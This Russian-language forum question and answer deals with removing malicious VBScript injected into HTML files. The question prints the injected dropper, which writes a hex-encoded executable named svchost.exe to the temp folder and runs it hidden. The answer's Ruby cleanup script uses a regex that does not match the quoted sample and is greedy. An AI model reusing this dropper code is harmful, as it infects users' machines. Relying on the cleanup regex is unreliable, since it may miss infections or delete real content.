Удалить VBScript или деактивировать VBScript из исходного кода HTML
У меня есть несколько HTML-файлов на моем компьютере, которые я позаимствовал у друга, к сожалению, все файлы заражены, все они имеют вредоносный код VBScript, вставленный в исходный код. У меня есть сотни файлов, и я не могу отредактировать источник для всех файлов. Есть ли способ удалить вредоносный сценарий и получить данные?
Редактировать: вот пример кода
<script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9000030000000400........................8CB03FA48CB03"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
Безопасно ли загружать его онлайн?
1 ответ
Существует множество антивирусных программ, которые обнаруживают этот вирус и удаляют зараженные HTML-файлы.
Вы можете запустить следующий скрипт ruby, который обнаружит этот неверный тег vbscript и удалит его.
class VirusKiller
VIRUS_REG = /<SCRIPT Language=VBScript>[\s\w\W\d.]*<\/SCRIPT>/
def fix_html_virus(file)
return if File.extname(file) != '.html'
file_content = File.read(file)
clean_content = file_content.gsub(VIRUS_REG, '')
File.open(file, "w") { |new_file| new_file << clean_content }
end
def transverse_files(base)
Dir.foreach(base) do |file|
begin
next if file == '.' or file == '..'
if File.file?(base+file)
fix_html_virus base+file
else
transverse_files(base+file+'/')
end
rescue Exception => e
puts e.message
end
end
end
def run(root_path)
transverse_files root_path
end
end
VirusKiller.new.run ARGV[0]
Установите Ruby, скопируйте этот скрипт в какой-нибудь файл (скажем, virus_killer.rb). Найдите расположение этого файла в cmd(если вы находитесь в окне) и выполните эту команду.
ruby virus_killer.rb /path/to/infected_folder/